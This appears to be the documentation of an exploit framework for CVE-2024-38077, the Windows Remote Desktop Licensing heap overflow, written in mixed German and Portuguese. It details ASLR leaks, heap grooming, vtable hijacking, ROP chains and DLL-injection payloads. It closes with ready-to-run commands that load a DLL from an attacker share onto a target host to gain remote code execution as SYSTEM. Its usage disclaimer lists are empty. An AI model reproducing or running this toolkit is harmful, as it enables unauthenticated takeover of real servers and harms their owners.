Modulares Exploit-Framework für CVE-2024-38077 (Windows RDL Heap Overflow) mit ASLR-Bypass, Heap-Grooming, ROP-Ketten-Generierung und DLL-Injection-Payloads für Pre-Auth Remote Code Execution.
Dieses Dokument erklärt jede Komponente des Frameworks, warum sie existiert und wie die Ausnutzung eines Heap-Buffer-Overflows auf modernem Windows funktioniert.
Der Windows Remote Desktop Licensing Service (lserver.exe) enthält einen Heap-Buffer-Overflow in der Funktion CDataCoding::DecodeData.
┌─────────────────────────────────────────────────────────────┐
│ VULNERABILIDADE: Cálculo incorreto de tamanho │
├─────────────────────────────────────────────────────────────┤
│ 1. Cliente envia dados Base64 de tamanho N │
│ 2. Servidor calcula: buffer_size = (N / 4) * 3 │
│ 3. Servidor aloca buffer de 'buffer_size' bytes │
│ 4. Decode Base64 REALMENTE escreve: ceil(N * 3/4) bytes │
│ 5. Se N não é múltiplo de 4: OVERFLOW! │
└─────────────────────────────────────────────────────────────┘
Konkretes Beispiel:
(4001 / 4) * 3 = 1000 * 3 = 3000 Bytes alloziertceil(4001 * 0.75) = 3001 Bytes geschrieben┌─────────────────────────────────────────────────────────────────┐
│ EXPLOIT CHAIN │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP, ASLR, CFG awareness) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (Orchestrator) │
└───────────────────────────────────────────────────────────┘
primitives.py - FundamentLow-Level-Utilities zur Speichermanipulation.
Exploits benötigen:
# Pack/Unpack - Converter inteiros para bytes e vice-versa
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# Padrão Cíclico - Para identificar offset de crash
cyclic(100) # Gera sequência De Bruijn
cyclic_find(pattern, value) # Encontra offset do valor
# Alinhamento - Memória precisa estar alinhada
align(0x1003, 0x10) # → 0x1010 (alinha para 16 bytes)
Reales Problem: Du verursachst einen Crash und das RIP enthält 0x61616171.
cyclic_find(pattern, 0x61616171) → exakter Offset!leak.py - ASLR-BypassAddress Space Layout Randomization: Bei jedem Boot/Start ändern sich die Adressen.
Boot 1: ntdll.dll @ 0x7FFA12340000
Boot 2: ntdll.dll @ 0x7FFB98760000
Boot 3: ntdll.dll @ 0x7FFC55550000
Ohne zu wissen, wo sich der Speicher befindet:
class LeakInfo:
"""Container para endereços vazados"""
heap_base: int # Base do heap
ntdll_base: int # Base do ntdll.dll
kernel32_base: int # Base do kernel32.dll
# ...
class LeakProvider:
"""Orquestrador de fontes de leak"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# Tenta cada fonte até conseguir
| Quelle | Funktionsweise | Wann verwenden |
|---|---|---|
ManualLeakSource | Benutzer stellt Adressen bereit | Lab/Debug mit Zugriff auf das Ziel |
ResponseLeakSource | Extrahiert aus RPC-Antworten | Wenn der Dienst Zeiger preisgibt |
TimingLeakSource | Zeitlicher Seitenkanal | Theoretisch, sehr schwierig |
In Demonstrationen/Labs kannst du:
--ntdll-base 0x7ffa... angebenDas simuliert einen echten Leak und ermöglicht es, den Rest der Kette zu testen.
target_model.py - Ziel-MappingModellierung der verwundbaren und angrenzenden Datenstrukturen.
Overflow ≠ Exploitation. Wir müssen wissen:
class VulnerableBuffer:
"""O buffer que vai sofrer overflow"""
allocation_size: int # Quanto foi alocado
write_size: int # Quanto será escrito
overflow_amount: int # Diferença = overflow
def calculate_overflow(input_size):
# Simula o bug de cálculo
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""Objeto que será corrompido (adjacente no heap)"""
fields: List[StructField]
has_vtable: bool # Tem tabela virtual?
has_function_ptr: bool # Tem ponteiro de função?
# Objeto hipotético baseado em análise reversa
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# Campos mapeados
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True?Markiert für die Exploitation nützliche Felder:
vtable: Wenn wir es überschreiben, kontrollieren wir Methodenaufrufecallback: Wenn wir es überschreiben, kontrollieren wir, wann der Callback aufgerufen wirdwrite_primitive.py - Kontrolliertes SchreibenDer Overflow schreibt sequenzielle Daten. Aber wir brauchen:
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
Constrói buffer de overflow com valores precisos
Layout:
[PADDING até offset] [VALOR CONTROLADO] [MAIS DADOS]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# Coloca valor exato no offset exato
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)
# Sobrescrever vtable
write_primitive.set_vtable_overwrite(
vtable_addr=fake_vtable_address,
obj_name="CLicenseRequest"
)
# Sobrescrever callback
write_primitive.set_callback_overwrite(
callback_addr=gadget_address
)
| Schreiben | Ergebnis |
|---|---|
| AAAA... | Crash ohne Kontrolle |
| Präzise Adresse an präzisem Offset | Kontrollierte Ausführung |
heap_controller.py - Heap-GroomingWindows verwendet LFH (Low Fragmentation Heap) und Segment Heap:
Grooming = Den Heap zu einem deterministischen Layout formen.
ANTES DO GROOMING:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
Alocações aleatórias, buracos imprevisíveis
DEPOIS DO GROOMING:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
Layout controlado, "buracos" onde queremos
class HeapLayoutController:
def execute_full_groom(self):
# Fase 1: Preencher buracos existentes
self.phase_fill(50)
# Fase 2: Ativar LFH para o bucket alvo
# (Windows ativa LFH após ~17 alocações do mesmo tamanho)
self.phase_activate_lfh()
# Fase 3: Spray - criar padrão denso
sprayed = self.phase_spray(200)
# Fase 4: Criar buracos estratégicos
# Liberamos a cada N alocações
self.phase_create_holes(sprayed, interval=4)
# Fase 5: Estabilizar
self.phase_stabilize()
trigger.py - Trigger nach der KorruptionDie Korruption ist passiert. Und jetzt?
Estado atual:
- Memória corrompida ✓
- Valor malicioso escrito ✓
- Mas ninguém USOU esse valor ainda!
Wir müssen erreichen, dass das Programm die korrupten Daten liest und verwendet.
class PostCorruptionTrigger:
strategies: List[TriggerStrategy]
# Estratégias implementadas:
class SecondRequestTrigger:
"""Faz segunda chamada RPC que usa objeto corrompido"""
class DestructorTrigger:
"""Desconecta - força cleanup que usa ponteiros corrompidos"""
class TimerTrigger:
"""Espera timer interno processar estado corrompido"""
execution.py - FlusskontrolleRIP (x64) oder EIP (x86) = Instruction Pointer
Wenn wir den Instruction Pointer kontrollieren, kontrollieren wir die Ausführung.
class HijackMethod(Enum):
VTABLE = 0 # Mais comum em heap overflow
FUNCTION_PTR = 1 # Callback pointer
RETURN_ADDR = 2 # Stack overflow (não é nosso caso)
OBJETO NORMAL:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ method1 address │ ← Legítimo
│ │ │ method2 address │
└─────────────┘ └──────────────────┘
APÓS CORRUPÇÃO:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ GADGET ADDR │ ← NOSSO!
│ │ │ GADGET ADDR │
└─────────────┘ └──────────────────┘
Quando method1 é chamado → Executa nosso gadget!
Problem: Der Vtable-Hijack gibt uns EINEN Aufruf. Wir brauchen mehr.
Lösung: Stack-Pivot
# Gadget que troca RSP para onde temos ROP chain
xchg rax, rsp; ret # RAX = nosso endereço → RSP = nosso endereço
# Agora o "stack" é nossa área controlada!
# Cada RET pulas para próximo gadget do nosso ROP chain
code_reuse.py - ROP-ChainsDEP (Data Execution Prevention): Heap und Stack sind NICHT AUSFÜHRBAR.
Shellcode no heap → CRASH (access violation - execute)
ROP = Return-Oriented Programming
Wir verketten „Gadgets" - kleine Codestücke, die mit RET enden.
GADGET 1: pop rcx; ret ← Coloca valor em RCX
GADGET 2: pop rdx; ret ← Coloca valor em RDX
GADGET 3: call LoadLibraryA ← Chama função!
STACK/ROP CHAIN (nossa área controlada):
┌────────────────────┐
│ addr de pop_rcx │ ← RSP aponta aqui
├────────────────────┤
│ valor para RCX │ ← Será "popado" para RCX
├────────────────────┤
│ addr de pop_rdx │ ← RET vai para cá
├────────────────────┤
│ valor para RDX │
├────────────────────┤
│ addr LoadLibraryA │ ← Finalmente chama!
└────────────────────┘
# Carregar DLL (DLL Injection)
build_load_library(dll_path_addr) → ROP chain
# Alocar memória executável
build_virtual_alloc(size) → ROP chain + RAX = endereço RWX
# Executar comando
build_winexec(cmd_addr) → ROP chain
payload.py - Semantischer Payload| Typ | Beispiel | Ergebnis |
|---|---|---|
| Daten | AAAAAA... | Crash |
| Absicht | ROP + DLL-Pfad | DLL geladen |
class PayloadIntent(Enum):
CRASH_TEST = 0 # Verificar se exploração funciona
DLL_INJECT = 1 # Carregar nossa DLL
COMMAND_EXEC = 2 # Executar comando
SHELLCODE = 3 # Executar shellcode via ROP
def build_dll_inject(dll_path: str) -> bytes:
"""
Estrutura final:
┌──────────────────────────────┐
│ ROP Chain (LoadLibraryA) │ ← Executa primeiro
├──────────────────────────────┤
│ Padding │
├──────────────────────────────┤
│ "\\attacker\share\pay.dll\0"│ ← String do caminho
└──────────────────────────────┘
O ROP chain passa o endereço da string para LoadLibraryA
"""
mitigations.py - Bewusstsein für Mitigations| Mitigation | Funktion | Unser Bypass |
|---|---|---|
| DEP | Heap/Stack nicht ausführbar | ROP (Code-Reuse) |
| ASLR | Randomisierte Adressen | Info-Leak |
| CFG | Validiert Call-Ziele | Gültige Ziele aufrufen, dann Pivot |
| Stack Cookie | Erkennt Stack-Overflow | Wir nutzen keinen Stack-Overflow |
| Heap Hardening | Guard Pages usw. | Sorgfältiges Grooming |
def adapt_exploit(config):
if mitigations.DEP.enabled:
config["use_rop"] = True # Obrigatório
if mitigations.ASLR.enabled:
config["require_leak"] = True # Obrigatório
if mitigations.HEAP_HARDENING.enabled:
config["spray_count"] *= 2 # Mais spray
┌─────────────────────────────────────────────────────────────────┐
│ FLUXO DE EXPLORAÇÃO │
└─────────────────────────────────────────────────────────────────┘
STAGE 1: LEAK (ASLR Bypass)
├─ Obter endereços de memória
├─ Input: manual ou auto-leak
└─ Output: LeakInfo com bases de módulos
↓
STAGE 2: ANALYZE (Target Mapping)
├─ Calcular overflow amount
├─ Identificar objetos adjacentes
└─ Determinar offsets de corrupção
↓
STAGE 3: GROOM (Heap Shaping)
├─ Fill → Activate LFH → Spray → Holes
├─ Criar layout determinístico
└─ Preparar "landing zone" para alocação vulnerável
↓
STAGE 4: PAYLOAD (Build)
├─ Construir ROP chain
├─ Incluir strings/dados necessários
└─ Combinar com overflow data
↓
STAGE 5: CORRUPT (Trigger Overflow)
├─ Enviar chamada RPC maliciosa
├─ Causar overflow
└─ Sobrescrever alvo (vtable/callback)
↓
STAGE 6: TRIGGER (Force Use)
├─ Disconnect ou segunda chamada
├─ Forçar uso de ponteiro corrompido
└─ Hijack de execução
↓
STAGE 7: EXECUTE (RCE)
├─ ROP chain executa
├─ LoadLibraryA carrega DLL
└─ CÓDIGO ARBITRÁRIO EXECUTANDO!
↓
┌─────────────────────────────────────────────────────────────┐
│ RESULTADO: Shell reverso, backdoor, etc. como SYSTEM │
└─────────────────────────────────────────────────────────────┘
pip install impacket
# Apenas verificar se serviço está rodando
python -m madlicense.poc -t 10.0.0.5 --check
# Dry run (não envia payload, simula tudo)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
--ntdll-base 0x7ffa12340000
# DLL Injection completo
python -m madlicense.poc -t 10.0.0.5 \
--dll "\\\\attacker\\share\\payload.dll" \
--heap-base 0x22345670000 \
--ntdll-base 0x7ffa12340000 \
--kernel32-base 0x7ffa12500000
# Executar calc.exe (PoC clássico)
python -m madlicense.poc -t 10.0.0.5 \
--cmd calc.exe \
--ntdll-base 0x7ffa12340000
Dieses Framework ist für:
NICHT für:
Kernsatz:
„Einen Heap-Buffer-Overflow auf modernem Windows auszunutzen ist nicht nur ‚viel schreiben‘. Es ist eine präzise Kette aus leak → groom → corrupt → trigger → execute.“
Die 9 Module:
Ohne eines davon gibt es kein RCE.